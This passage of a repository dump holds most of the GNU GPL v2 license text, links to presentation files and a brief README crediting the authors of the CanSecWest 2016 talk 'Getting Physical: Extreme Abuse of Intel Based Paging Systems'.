2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /Presentation/CanSec2016_Presentation.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/CansecWest2016_Getting_Physical/48530a0ce155f7680999c193e5019ed06f5078d5/Presentation/CanSec2016_Presentation.pdf -------------------------------------------------------------------------------- /Presentation/CanSec2016_Presentation.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/n3k/CansecWest2016_Getting_Physical/48530a0ce155f7680999c193e5019ed06f5078d5/Presentation/CanSec2016_Presentation.pptx -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CansecWest2016 Getting Physical: Extreme Abuse of Intel Based Paging Systems 2 | 3 | Presentation given at https://cansecwest.com/ 2016 edition 4 | 5 | ## Authors 6 | * [Nicolas Economou](https://twitter.com/NicoEconomou) 7 | * [Enrique Nissim](https://twitter.com/kiqueNissim) 8 | --------------------------------------------------------------------------------